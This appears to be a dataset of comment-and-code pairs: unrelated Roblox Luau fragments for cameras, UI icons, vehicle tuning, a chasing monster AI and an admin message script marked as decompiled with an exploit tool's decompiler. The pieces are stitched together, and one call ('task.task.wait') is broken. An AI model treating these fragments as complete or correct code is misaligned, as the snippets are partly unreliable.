-- when level geometry intersects with the near plane (with exceptions, see below).
--
-- Soft limits are only applied under certain conditions.
-- They're caused when level geometry occludes the subject without actually intersecting
-- with the near plane at the target distance.
--
-- Soft limits can be promoted to hard limits and hard limits can be demoted to soft limits.
-- We usually don't want the latter to happen.
--
-- A soft limit will be promoted to a hard limit if an obstruction
-- lies between the current and target camera positions.
--------------------------------------------------------------------------------------------
|
local subjectRoot
local subjectPart
camera:GetPropertyChangedSignal('CameraSubject'):Connect(function()
local subject = camera.CameraSubject
if subject:IsA('Humanoid') then
subjectPart = subject.RootPart
elseif subject:IsA('BasePart') then
subjectPart = subject
else
subjectPart = nil
end
end)
local function canOcclude(part)
-- Occluders must be:
-- 1. Opaque
-- 2. Interactable
-- 3. Not in the same assembly as the subject
if FFlagUserPoppercamLooseOpacityThreshold then
return
part.Transparency < 0.25 and
part.CanCollide and
subjectRoot ~= (part:GetRootPart() or part) and
not part:IsA('TrussPart')
else
return
part.Transparency < 0.95 and
part.CanCollide and
subjectRoot ~= (part:GetRootPart() or part)
end
end
|
-- This loads from, or lazily creates, NumberValue objects for exposed parameters
|
function OrbitalCamera:LoadNumberValueParameters()
-- These initial values do not require change listeners since they are read only once
self:LoadOrCreateNumberValueParameter("InitialElevation", "NumberValue", nil)
self:LoadOrCreateNumberValueParameter("InitialDistance", "NumberValue", nil)
-- Note: ReferenceAzimuth is also used as an initial value, but needs a change listener because it is used in the calculation of the limits
self:LoadOrCreateNumberValueParameter("ReferenceAzimuth", "NumberValue", self.SetAndBoundsCheckAzimuthValue)
self:LoadOrCreateNumberValueParameter("CWAzimuthTravel", "NumberValue", self.SetAndBoundsCheckAzimuthValues)
self:LoadOrCreateNumberValueParameter("CCWAzimuthTravel", "NumberValue", self.SetAndBoundsCheckAzimuthValues)
self:LoadOrCreateNumberValueParameter("MinElevation", "NumberValue", self.SetAndBoundsCheckElevationValues)
self:LoadOrCreateNumberValueParameter("MaxElevation", "NumberValue", self.SetAndBoundsCheckElevationValues)
self:LoadOrCreateNumberValueParameter("MinDistance", "NumberValue", self.SetAndBoundsCheckDistanceValues)
self:LoadOrCreateNumberValueParameter("MaxDistance", "NumberValue", self.SetAndBoundsCheckDistanceValues)
self:LoadOrCreateNumberValueParameter("UseAzimuthLimits", "BoolValue", self.SetAndBoundsCheckAzimuthValues)
-- Internal values set (in radians, from degrees), plus sanitization
self.curAzimuthRad = math.rad(self.externalProperties["ReferenceAzimuth"])
self.curElevationRad = math.rad(self.externalProperties["InitialElevation"])
self.curDistance = self.externalProperties["InitialDistance"]
self:SetAndBoundsCheckAzimuthValues()
self:SetAndBoundsCheckElevationValues()
self:SetAndBoundsCheckDistanceValues()
end
function OrbitalCamera:GetModuleName()
return "OrbitalCamera"
end
function OrbitalCamera:SetInitialOrientation(humanoid)
if not humanoid or not humanoid.RootPart then
warn("OrbitalCamera could not set initial orientation due to missing humanoid")
return
end
local newDesiredLook = (humanoid.RootPart.CFrame.lookVector - Vector3.new(0,0.23,0)).unit
local horizontalShift = Util.GetAngleBetweenXZVectors(newDesiredLook, self:GetCameraLookVector())
local vertShift = math.asin(self:GetCameraLookVector().y) - math.asin(newDesiredLook.y)
if not Util.IsFinite(horizontalShift) then
horizontalShift = 0
end
if not Util.IsFinite(vertShift) then
vertShift = 0
end
self.rotateInput = Vector2.new(horizontalShift, vertShift)
end
|
--Creates a buffer class.
|
local function CreateBuffer(Folder)
local Buffer = {}
--Removes an item from the buffer.
function Buffer:PopItem()
local NextItem = Folder:GetChildren()[1]
if NextItem then
--Remove the position lock.
local BufferPositionLock = NextItem:FindFirstChild("BufferPositionLock",true)
if BufferPositionLock then
BufferPositionLock:Destroy()
end
--Reparent it to Workspace.
NextItem.Parent = game.Workspace
--Return the item.
return NextItem
end
end
--Return the buffer class.
return Buffer
end
|
-- INSTANCES --
|
local AlignOrientation = script.Parent.AlignOrientation
|
-- upstream: https://github.com/facebook/react/blob/c5d2fc7127654e43de59fff865b74765a103c4a5/packages/react-reconciler/src/ReactFiberHostConfigWithNoHydration.js
--[[*
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @flow
]]
|
local invariant = require(script.Parent.Parent.invariant)
|
-- Determine whether we're in tool or plugin mode
|
local ToolMode = (Tool.Parent:IsA 'Plugin') and 'Plugin' or 'Tool'
|
-- Binds --
|
cDetector.MouseClick:connect(onClicked)
|
-- Functions
|
local Clear = function()
for _,v in pairs(Content:GetChildren()) do
if v ~= UIGrid then
v:Destroy()
end
end
end
local Add = function(char)
local charPrev = char:GetChildren()[1]
assert(charPrev,"[Error] Character doesn't exist in module " .. char.Name)
-- base frame
local ViewportFrame = Instance.new("ViewportFrame")
ViewportFrame.Name = char.Name
ViewportFrame.Parent = Content
ViewportFrame.BorderSizePixel = 0
ViewportFrame.BackgroundColor3 = Color3.fromRGB(25,25,25)
local Uicorner = game.ServerStorage.Extra:WaitForChild("UICorner"):Clone()
Uicorner.Parent = ViewportFrame
-- character preview
local clone = charPrev:Clone()
clone.Parent = ViewportFrame
-- camera
local camera = Instance.new("Camera")
camera.Parent = ViewportFrame
camera.CFrame = CFrame.new(
(clone:WaitForChild("Head").CFrame * CFrame.new(0,0,-8)).Position
+ Vector3.new(3,-2,0),
clone.Head.Position
)
camera.FieldOfView = 30
ViewportFrame.CurrentCamera = camera
-- button
local button = Instance.new("TextButton")
button.Parent = ViewportFrame
button.Size = UDim2.new(1,0,1,0)
button.BackgroundTransparency = 1
button.Text = ""
button.MouseButton1Click:Connect(function()
if Debounce then return end
Debounce = true;
SelectedCharacter.Value = char
wait(1)
Debounce = false
end)
end
local Refresh = function()
Clear();
local cellsize = GetCellSize:InvokeClient(Player)
UIGrid.CellSize = UDim2.new(0,cellsize,0,cellsize)
for _,v in pairs(Characters:GetChildren()) do
Add(v);
end
end
Refresh();
|
--CHANGE THIS TO FALSE IF YOU DO NOT WANT TO SUPPORT THE CREATOR WITH ADVERTISEMENTS.
|
local doModelAdvertisement = true
|
----------------------------------------------------------------------------------------------------
-----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------
----------------------------------------------------------------------------------------------------
|
,VRecoil = {17,18} --- Vertical Recoil
,HRecoil = {5,7} --- Horizontal Recoil
,AimRecover = .7 ---- Between 0 & 1
,RecoilPunch = .15
,VPunchBase = 2.5 --- Vertical Punch
,HPunchBase = 1.7 --- Horizontal Punch
,DPunchBase = 1 --- Tilt Punch | useless
,AimRecoilReduction = 5 --- Recoil Reduction Factor While Aiming (Do not set to 0)
,PunchRecover = 0.2
,MinRecoilPower = .5
,MaxRecoilPower = 3.5
,RecoilPowerStepAmount = .25
,MinSpread = 0.56 --- Min bullet spread value | Studs
,MaxSpread = 35 --- Max bullet spread value | Studs
,AimInaccuracyStepAmount = 0.5
,WalkMultiplier = 0 --- Bullet spread based on player speed
,SwayBase = 0.25 --- Weapon Base Sway | Studs
,MaxSway = 1.5 --- Max sway value based on player stamina | Studs
|
-- FEATURE METHODS
|
function Icon:bindEvent(iconEventName, eventFunction)
local event = self[iconEventName]
assert(event and typeof(event) == "table" and event.Connect, "argument[1] must be a valid topbarplus icon event name!")
assert(typeof(eventFunction) == "function", "argument[2] must be a function!")
self._bindedEvents[iconEventName] = event:Connect(function(...)
eventFunction(self, ...)
end)
return self
end
function Icon:unbindEvent(iconEventName)
local eventConnection = self._bindedEvents[iconEventName]
if eventConnection then
eventConnection:Disconnect()
self._bindedEvents[iconEventName] = nil
end
return self
end
function Icon:bindToggleKey(keyCodeEnum)
assert(typeof(keyCodeEnum) == "EnumItem", "argument[1] must be a KeyCode EnumItem!")
self._bindedToggleKeys[keyCodeEnum] = true
return self
end
function Icon:unbindToggleKey(keyCodeEnum)
assert(typeof(keyCodeEnum) == "EnumItem", "argument[1] must be a KeyCode EnumItem!")
self._bindedToggleKeys[keyCodeEnum] = nil
return self
end
function Icon:lock()
self.instances.iconButton.Active = false
self.locked = true
task.defer(function()
-- We do this to prevent the overlay remaining enabled if :lock is called right after an icon is selected
if self.locked then
self.overlayLocked = true
end
end)
return self
end
function Icon:unlock()
self.instances.iconButton.Active = true
self.locked = false
self.overlayLocked = false
return self
end
function Icon:debounce(seconds)
self:lock()
task.task.wait(seconds)
self:unlock()
return self
end
function Icon:autoDeselect(bool)
if bool == nil then
bool = true
end
self.deselectWhenOtherIconSelected = bool
return self
end
function Icon:setTopPadding(offset, scale)
local newOffset = offset or 4
local newScale = scale or 0
self.topPadding = UDim.new(newScale, newOffset)
self.updated:Fire()
return self
end
function Icon:bindToggleItem(guiObjectOrLayerCollector)
if not guiObjectOrLayerCollector:IsA("GuiObject") and not guiObjectOrLayerCollector:IsA("LayerCollector") then
error("Toggle item must be a GuiObject or LayerCollector!")
end
self.toggleItems[guiObjectOrLayerCollector] = true
self:updateSelectionInstances()
return self
end
function Icon:updateSelectionInstances()
-- This is to assist with controller navigation and selection
for guiObjectOrLayerCollector, _ in pairs(self.toggleItems) do
local buttonInstancesArray = {}
for _, instance in pairs(guiObjectOrLayerCollector:GetDescendants()) do
if (instance:IsA("TextButton") or instance:IsA("ImageButton")) and instance.Active then
table.insert(buttonInstancesArray, instance)
end
end
self.toggleItems[guiObjectOrLayerCollector] = buttonInstancesArray
end
end
function Icon:addBackBlocker(func)
-- This is custom behaviour that can block the default behaviour of going back or closing a page when Controller B is pressed
-- If the function returns ``true`` then the B Back behaviour is blocked
-- This is useful for instance when a user is purchasing an item and you don't want them to return to the previous page
-- if they pressed B during this pending period
table.insert(self.blockBackBehaviourChecks, func)
return self
end
function Icon:unbindToggleItem(guiObjectOrLayerCollector)
self.toggleItems[guiObjectOrLayerCollector] = nil
return self
end
function Icon:_setToggleItemsVisible(bool, byIcon)
for toggleItem, _ in pairs(self.toggleItems) do
if not byIcon or byIcon.toggleItems[toggleItem] == nil then
local property = "Visible"
if toggleItem:IsA("LayerCollector") then
property = "Enabled"
end
toggleItem[property] = bool
end
end
end
function Icon:call(func)
task.spawn(func, self)
return self
end
function Icon:give(userdata)
local valueToGive = userdata
if typeof(userdata) == "function" then
local returnValue = userdata(self)
if typeof(userdata) ~= "function" then
valueToGive = returnValue
else
valueToGive = nil
end
end
if valueToGive ~= nil then
self._maid:give(valueToGive)
end
return self
end
|
--[[Susupension]]
|
Tune.SusEnabled = true -- Sets whether suspension is enabled for PGS
--Front Suspension
Tune.FSusDamping = 500 -- Spring Dampening
Tune.FSusStiffness = 9000 -- Spring Force
Tune.FAntiRoll = 50 -- Anti-Roll (Gyro Dampening)
Tune.FSusLength = 2 -- Suspension length (in studs)
Tune.FPreCompress = .3 -- Pre-compression adds resting length force
Tune.FExtensionLim = .3 -- Max Extension Travel (in studs)
Tune.FCompressLim = .1 -- Max Compression Travel (in studs)
Tune.FSusAngle = 80 -- Suspension Angle (degrees from horizontal)
Tune.FWsBoneLen = 5 -- Wishbone Length
Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Rear Suspension
Tune.RSusDamping = 500 -- Spring Dampening
Tune.RSusStiffness = 9000 -- Spring Force
Tune.RAntiRoll = 50 -- Anti-Roll (Gyro Dampening)
Tune.RSusLength = 2 -- Suspension length (in studs)
Tune.RPreCompress = .3 -- Pre-compression adds resting length force
Tune.RExtensionLim = .3 -- Max Extension Travel (in studs)
Tune.RCompressLim = .1 -- Max Compression Travel (in studs)
Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal)
Tune.RWsBoneLen = 5 -- Wishbone Length
Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Aesthetics
Tune.SusVisible = true -- Spring Visible
Tune.WsBVisible = false -- Wishbone Visible
Tune.SusRadius = .2 -- Suspension Coil Radius
Tune.SusThickness = .1 -- Suspension Coil Thickness
Tune.SusColor = "Black" -- Suspension Color [BrickColor]
Tune.SusCoilCount = 6 -- Suspension Coil Count
Tune.WsColor = "Black" -- Wishbone Color [BrickColor]
Tune.WsThickness = .1 -- Wishbone Rod Thickness
|
--
--
|
local Monster = {} -- Create the monster class
function Monster:GetCFrame()
-- Returns the CFrame of the monster's humanoidrootpart
local humanoidRootPart = Self:FindFirstChild('HumanoidRootPart')
if humanoidRootPart ~= nil and humanoidRootPart:IsA('BasePart') then
return humanoidRootPart.CFrame
else
return CFrame.new()
end
end
function Monster:GetMaximumDetectionDistance()
-- Returns the maximum detection distance
local setting = Settings.MaximumDetectionDistance.Value
if setting < 0 then
return math.huge
else
return setting
end
end
function Monster:SearchForTarget()
-- Finds the closest player and sets the target
local players = Info.Players:GetPlayers()
local closestCharacter, closestCharacterDistance
for i=1, #players do
local player = players[i]
if player.Neutral or player.TeamColor ~= Settings.FriendlyTeam.Value then
local character = player.Character
if character ~= nil and character:FindFirstChild('Humanoid') ~= nil and character.Humanoid:IsA('Humanoid') then
local distance = player:DistanceFromCharacter(Monster:GetCFrame().p)
if distance < Monster:GetMaximumDetectionDistance() then
if closestCharacter == nil then
closestCharacter, closestCharacterDistance = character, distance
else
if closestCharacterDistance > distance then
closestCharacter, closestCharacterDistance = character, distance
end
end
end
end
end
end
if closestCharacter ~= nil then
Mind.CurrentTargetHumanoid.Value = closestCharacter.Humanoid
end
end
function Monster:TryRecomputePath()
if Data.AutoRecompute or tick() - Data.LastRecomputePath > 1/Info.RecomputePathFrequency then
Monster:RecomputePath()
end
end
function Monster:GetTargetCFrame()
local targetHumanoid = Mind.CurrentTargetHumanoid.Value
if Monster:TargetIsValid() then
return targetHumanoid.Torso.CFrame
else
return CFrame.new()
end
end
function Monster:IsAlive()
return Self.Humanoid.Health > 0 and Self.Humanoid.Torso ~= nil
end
function Monster:TargetIsValid()
local targetHumanoid = Mind.CurrentTargetHumanoid.Value
if targetHumanoid ~= nil and targetHumanoid:IsA 'Humanoid' and targetHumanoid.Torso ~= nil and targetHumanoid.Torso:IsA 'BasePart' then
return true
else
return false
end
end
function Monster:HasClearLineOfSight()
-- Going to cast a ray to see if I can just see my target
local myPos, targetPos = Monster:GetCFrame().p, Monster:GetTargetCFrame().p
local hit, pos = Workspace:FindPartOnRayWithIgnoreList(
Ray.new(
myPos,
targetPos - myPos
),
{
Self,
Mind.CurrentTargetHumanoid.Value.Parent
}
)
if hit == nil then
return true
else
return false
end
end
function Monster:RecomputePath()
if not Data.Recomputing then
if Monster:IsAlive() and Monster:TargetIsValid() then
if Monster:HasClearLineOfSight() then
Data.AutoRecompute = true
Data.PathCoords = {
Monster:GetCFrame().p,
Monster:GetTargetCFrame().p
}
Data.LastRecomputePath = tick()
Data.CurrentNode = nil
Data.CurrentNodeIndex = 2 -- Starts chasing the target without evaluating its current position
else
-- Do pathfinding since you can't walk straight
Data.Recomputing = true -- Basically a debounce.
Data.AutoRecompute = false
local path = Info.PathfindingService:ComputeSmoothPathAsync(
Monster:GetCFrame().p,
Monster:GetTargetCFrame().p,
500
)
Data.PathCoords = path:GetPointCoordinates()
Data.Recomputing = false
Data.LastRecomputePath = tick()
Data.CurrentNode = nil
Data.CurrentNodeIndex = 1
end
end
end
end
function Monster:Update()
Monster:ReevaluateTarget()
Monster:SearchForTarget()
Monster:TryRecomputePath()
Monster:TravelPath()
end
function Monster:TravelPath()
local closest, closestDistance, closestIndex
local myPosition = Monster:GetCFrame().p
local skipCurrentNode = Data.CurrentNode ~= nil and (Data.CurrentNode - myPosition).magnitude < 3
for i=Data.CurrentNodeIndex, #Data.PathCoords do
local coord = Data.PathCoords[i]
if not (skipCurrentNode and coord == Data.CurrentNode) then
local distance = (coord - myPosition).magnitude
if closest == nil then
closest, closestDistance, closestIndex = coord, distance, i
else
if distance < closestDistance then
closest, closestDistance, closestIndex = coord, distance, i
else
break
end
end
end
end
--
if closest ~= nil then
Data.CurrentNode = closest
Data.CurrentNodeIndex = closestIndex
local humanoid = Self:FindFirstChild 'Humanoid'
if humanoid ~= nil and humanoid:IsA'Humanoid' then
humanoid:MoveTo(closest)
end
if Monster:IsAlive() and Monster:TargetIsValid() then
Monster:TryJumpCheck()
Monster:TryAttack()
end
if closestIndex == #Data.PathCoords then
-- Reached the end of the path, force a new check
Data.AutoRecompute = true
end
end
end
function Monster:TryJumpCheck()
if tick() - Data.LastJumpCheck > 1/Info.JumpCheckFrequency then
Monster:JumpCheck()
end
end
function Monster:TryAttack()
if tick() - Data.LastAttack > 1/Settings.AttackFrequency.Value then
Monster:Attack()
end
end
function Monster:Attack()
local myPos, targetPos = Monster:GetCFrame().p, Monster:GetTargetCFrame().p
if (myPos - targetPos).magnitude <= Settings.AttackRange.Value then
Mind.CurrentTargetHumanoid.Value:TakeDamage(Settings.AttackDamage.Value)
Data.LastAttack = tick()
wait(2)
Data.AttackTrack:Play()
end
end
function Monster:JumpCheck()
-- Do a raycast to check if we need to jump
local myCFrame = Monster:GetCFrame()
local checkVector = (Monster:GetTargetCFrame().p - myCFrame.p).unit*2
local hit, pos = Workspace:FindPartOnRay(
Ray.new(
myCFrame.p + Vector3.new(0, -2.4, 0),
checkVector
),
Self
)
if hit ~= nil and not hit:IsDescendantOf(Mind.CurrentTargetHumanoid.Value.Parent) then
-- Do a slope check to make sure we're not walking up a ramp
local hit2, pos2 = Workspace:FindPartOnRay(
Ray.new(
myCFrame.p + Vector3.new(0, -2.3, 0),
checkVector
),
Self
)
if hit2 == hit then
if ((pos2 - pos)*Vector3.new(1,0,1)).magnitude < 0.05 then -- Will pass for any ramp with <2 slope
Self.Humanoid.Jump = false
end
end
end
Data.LastJumpCheck = tick()
end
function Monster:Connect()
Mind.CurrentTargetHumanoid.Changed:connect(function(humanoid)
if humanoid ~= nil then
assert(humanoid:IsA'Humanoid', 'Monster target must be a humanoid')
Monster:RecomputePath()
end
end)
Self.Respawn.OnInvoke = function(point)
Monster:Respawn(point)
end
end
function Monster:Initialize()
Monster:Connect()
if Settings.AutoDetectSpawnPoint.Value then
Settings.SpawnPoint.Value = Monster:GetCFrame().p
end
end
function Monster:Respawn(point)
local point = point or Settings.SpawnPoint.Value
for index, obj in next, Data.BaseMonster:Clone():GetChildren() do
if obj.Name == 'Configurations' or obj.Name == 'Mind' or obj.Name == 'Respawned' or obj.Name == 'Died' or obj.Name == 'MonsterScript' or obj.Name == 'Respawn' then
obj:Destroy()
else
Self[obj.Name]:Destroy()
obj.Parent = Self
end
end
Monster:InitializeUnique()
Self.Parent = Workspace
Self.HumanoidRootPart.CFrame = CFrame.new(point)
Settings.SpawnPoint.Value = point
Self.Respawned:Fire()
end
function Monster:InitializeUnique()
Data.AttackTrack = Self.Humanoid:LoadAnimation(script.Attack)
end
function Monster:ReevaluateTarget()
local currentTarget = Mind.CurrentTargetHumanoid.Value
if currentTarget ~= nil and currentTarget:IsA'Humanoid' then
local character = currentTarget.Parent
if character ~= nil then
local player = Info.Players:GetPlayerFromCharacter(character)
if player ~= nil then
if not player.Neutral and player.TeamColor == Settings.FriendlyTeam.Value then
Mind.CurrentTargetHumanoid.Value = nil
end
end
end
if currentTarget == Mind.CurrentTargetHumanoid.Value then
local torso = currentTarget.Torso
if torso ~= nil and torso:IsA 'BasePart' then
if Settings.CanGiveUp.Value and (torso.Position - Monster:GetCFrame().p).magnitude > Monster:GetMaximumDetectionDistance() then
Mind.CurrentTargetHumanoid.Value = nil
end
end
end
end
end
|
--edit the function below to return true when you want this response/prompt to be valid
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
|
return function(player, dialogueFolder)
local ClassInformationTable = require(game.ReplicatedStorage.Source.Modules.CharacterScripts.Classes.ClassInformation)
return ClassInformationTable:GetClassFolder(player,"Paladin").XP.Value >= 10
end
|
--VARIABLES
|
local Proximity = game.Workspace.ComplaintDep.Granade.ProximityPrompt
local player = game.Players.LocalPlayer
local gui = script.Parent.Dont.TextLabel
|
--[[
Adds a change listener. When the watched state changes value, the listener
will be fired.
Returns a function which, when called, will disconnect the change listener.
As long as there is at least one active change listener, this Observer
will be held in memory, preventing GC, so disconnecting is important.
]]
|
function class:onChange(callback: () -> ()): () -> ()
local uniqueIdentifier = {}
self._numChangeListeners += 1
self._changeListeners[uniqueIdentifier] = callback
-- disallow gc (this is important to make sure changes are received)
strongRefs[self] = true
local disconnected = false
return function()
if disconnected then
return
end
disconnected = true
self._changeListeners[uniqueIdentifier] = nil
self._numChangeListeners -= 1
if self._numChangeListeners == 0 then
-- allow gc if all listeners are disconnected
strongRefs[self] = nil
end
end
end
local function Observer(watchedState)
local self = setmetatable({
type = "State",
kind = "Observer",
dependencySet = {[watchedState] = true},
dependentSet = {},
_changeListeners = {},
_numChangeListeners = 0,
}, CLASS_METATABLE)
-- add this object to the watched state's dependent set
watchedState.dependentSet[self] = true
return self
end
return Observer
|
--// Tables
|
local L_95_ = {
"285421759";
"151130102";
"151130171";
"285421804";
"287769483";
"287769415";
"285421687";
"287769261";
"287772525";
"287772445";
"287772351";
"285421819";
"287772163";
}
local L_96_ = {
"2282590559";
"2282583154";
"2282584222";
"2282584708";
"2282585118";
"2282586860";
"2282587182";
"2282587628";
"2282588117";
"2282588433";
"2282576973";
"2282577954";
"2282578595";
"2282579272";
"2282579760";
"2282580279";
"2282580551";
"2282580935";
"2282582377";
"2282582717";
"2282449653";
}
local L_97_ = {
"2297264589";
"2297264920";
"2297265171";
"2297265394";
"2297266410";
"2297266774";
"2297267106";
"2297267463";
"2297267748";
"2297268261";
"2297268486";
"2297268707";
"2297268894";
"2297269092";
"2297269542";
"2297269946";
"2297270243";
"2297270591";
"2297270984";
"2297271381";
"2297271626";
"2297272112";
"2297272424";
}
local L_98_ = workspace:FindFirstChild("BulletModel: " .. L_2_.Name) or Instance.new("Folder", workspace)
L_98_.Name = "BulletModel: " .. L_2_.Name
local L_99_
local L_100_ = L_24_.Ammo
local L_101_ = L_24_.StoredAmmo * L_24_.MagCount
local L_102_ = L_24_.ExplosiveAmmo
IgnoreList = {
L_3_,
L_98_,
L_5_
}
|
-------------------------------------------------------------------------
|
local function FlashRed(object)
local origColor = object.BrickColor
local redColor = BrickColor.new("Really red")
local start = tick()
local duration = 4
spawn(function()
while object and tick() - start < duration do
object.BrickColor = origColor
task.wait(0.13)
if object then
object.BrickColor = redColor
end
task.wait(0.13)
end
end)
end
|
--[[[Default Controls]]
|
--Peripheral Deadzones
Tune.Peripherals = {
MSteerWidth = 67 , -- Mouse steering control width (0 - 100% of screen width)
MSteerDZone = 10 , -- Mouse steering deadzone (0 - 100%)
ControlLDZone = 5 , -- Controller steering L-deadzone (0 - 100%)
ControlRDZone = 5 , -- Controller steering R-deadzone (0 - 100%)
}
--Control Mapping
Tune.Controls = {
--Keyboard Controls
--Mode Toggles
ToggleTCS = Enum.KeyCode.T ,
ToggleABS = Enum.KeyCode.Y ,
ToggleTransMode = Enum.KeyCode.M ,
ToggleMouseDrive = Enum.KeyCode.R ,
--Primary Controls
Throttle = Enum.KeyCode.W ,
Brake = Enum.KeyCode.S ,
SteerLeft = Enum.KeyCode.A ,
SteerRight = Enum.KeyCode.D ,
--Manual Transmission
ShiftUp = Enum.KeyCode.E ,
ShiftDown = Enum.KeyCode.Q ,
Clutch = Enum.KeyCode.LeftShift ,
--Handbrake
PBrake = Enum.KeyCode.P ,
--Mouse Controls
MouseThrottle = Enum.UserInputType.MouseButton1 ,
MouseBrake = Enum.UserInputType.MouseButton2 ,
MouseClutch = Enum.KeyCode.W ,
MouseShiftUp = Enum.KeyCode.E ,
MouseShiftDown = Enum.KeyCode.Q ,
MousePBrake = Enum.KeyCode.LeftShift ,
--Controller Mapping
ContlrThrottle = Enum.KeyCode.ButtonR2 ,
ContlrBrake = Enum.KeyCode.ButtonL2 ,
ContlrSteer = Enum.KeyCode.Thumbstick1 ,
ContlrShiftUp = Enum.KeyCode.ButtonY ,
ContlrShiftDown = Enum.KeyCode.ButtonX ,
ContlrClutch = Enum.KeyCode.ButtonR1 ,
ContlrPBrake = Enum.KeyCode.ButtonL1 ,
ContlrToggleTMode = Enum.KeyCode.DPadUp ,
ContlrToggleTCS = Enum.KeyCode.DPadDown ,
ContlrToggleABS = Enum.KeyCode.DPadRight ,
}
|
--[[Weight and CG]]
|
Tune.Weight = 3000 -- Total weight (in pounds)
Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable)
--[[Width]] 6 ,
--[[Height]] 3.5 ,
--[[Length]] 14 }
Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels)
Tune.WBVisible = false -- Makes the weight brick visible
--Unsprung Weight
Tune.FWheelDensity = .1 -- Front Wheel Density
Tune.RWheelDensity = .1 -- Rear Wheel Density
Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF]
Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF]
Tune.AxleSize = 1 -- Size of structural members (larger = more stable/carry more weight)
Tune.AxleDensity = .1 -- Density of structural members
|
-- Signal:Fire(...) implemented by running the handler functions on the
-- coRunnerThread, and any time the resulting thread yielded without returning
-- to us, that means that it yielded to the Roblox scheduler and has been taken
-- over by Roblox scheduling, meaning we have to make a new coroutine runner.
--[=[
@param ... any
Fire the signal, which will call all of the connected functions with the given arguments.
```lua
signal:Fire("Hello")
-- Any number of arguments can be fired:
signal:Fire("Hello", 32, {Test = "Test"}, true)
```
]=]
|
function Signal:Fire(...)
local item = self._handlerListHead
while item do
if item.Connected then
if not freeRunnerThread then
freeRunnerThread = coroutine.create(runEventHandlerInFreeThread)
end
task.spawn(freeRunnerThread, item._fn, ...)
end
item = item._next
end
end
|
-- Decompiled with the Synapse X Luau decompiler.
|
client = nil;
cPcall = nil;
Pcall = nil;
Routine = nil;
service = nil;
return function(p1)
local v1 = client.UI.Prepare(script.Parent.Parent);
local l__PlayerGui__2 = service.PlayerGui;
local l__Frame__3 = v1.Frame;
local l__Message__4 = v1.Frame.Message;
local l__Title__5 = v1.Frame.Title;
local l__gIndex__6 = p1.gIndex;
local l__Title__7 = p1.Title;
local l__Message__8 = p1.Message;
local l__Scroll__9 = p1.Scroll;
if not p1.Message or not p1.Title then
v1:Destroy();
end;
l__Title__5.Text = l__Title__7;
l__Message__4.Text = l__Message__8;
l__Title__5.TextTransparency = 1;
l__Message__4.TextTransparency = 1;
l__Title__5.TextStrokeTransparency = 1;
l__Message__4.TextStrokeTransparency = 1;
l__Frame__3.BackgroundTransparency = 1;
local v10 = {
Type = "Full Screen Message",
Title = l__Title__7,
Message = l__Message__8,
Icon = "rbxassetid://7501175708",
Time = os.date("%X"),
Function = nil
};
table.insert(client.Variables.CommunicationsHistory, v10);
service.Events.CommsCenter:Fire(v10);
local v11 = service.New("BlurEffect");
v11.Enabled = false;
v11.Size = 0;
v11.Parent = workspace.CurrentCamera;
local u1 = false;
local l__gTable__2 = p1.gTable;
local function u3()
if not u1 then
for v12 = 1, 10 do
if v11.Size > 0 then
v11.Size = v11.Size - 1;
end;
if l__Message__4.TextTransparency < 1 then
l__Message__4.TextTransparency = l__Message__4.TextTransparency + 0.1;
l__Title__5.TextTransparency = l__Title__5.TextTransparency + 0.1;
end;
if l__Message__4.TextStrokeTransparency < 1 then
l__Message__4.TextStrokeTransparency = l__Message__4.TextStrokeTransparency + 0.1;
l__Title__5.TextStrokeTransparency = l__Title__5.TextStrokeTransparency + 0.1;
end;
if l__Frame__3.BackgroundTransparency < 1 then
l__Frame__3.BackgroundTransparency = l__Frame__3.BackgroundTransparency + 0.03;
end;
wait(0.016666666666666666);
end;
v11.Enabled = false;
v11:Destroy();
service.UnWrap(v1):Destroy();
u1 = true;
end;
end;
function l__gTable__2.CustomDestroy()
if not u1 then
u1 = true;
pcall(u3);
end;
pcall(function()
service.UnWrap(v1):Destroy();
end);
pcall(function()
v11:Destroy();
end);
end;
(function()
if not u1 then
v11.Enabled = true;
l__gTable__2:Ready();
for v13 = 1, 10 do
if v11.Size < 10 then
v11.Size = v11.Size + 1;
end;
if l__Message__4.TextTransparency > 0.1 then
l__Message__4.TextTransparency = l__Message__4.TextTransparency - 0.1;
l__Title__5.TextTransparency = l__Title__5.TextTransparency - 0.1;
end;
if l__Message__4.TextStrokeTransparency > 0.5 then
l__Message__4.TextStrokeTransparency = l__Message__4.TextStrokeTransparency - 0.1;
l__Title__5.TextStrokeTransparency = l__Title__5.TextStrokeTransparency - 0.1;
end;
if l__Frame__3.BackgroundTransparency > 0.3 then
l__Frame__3.BackgroundTransparency = l__Frame__3.BackgroundTransparency - 0.03;
end;
wait(0.016666666666666666);
end;
end;
end)();
wait(p1.Time and 5);
if not u1 then
u3();
end;
end;
|
--[[Engine]]
|
--Torque Curve
Tune.Horsepower = 155 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 600 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 2100 -- Use sliders to manipulate values
Tune.Redline = 2700 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 2500
Tune.PeakSharpness = 2.5
Tune.CurveMult = 0.15
--Incline Compensation
Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 150 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
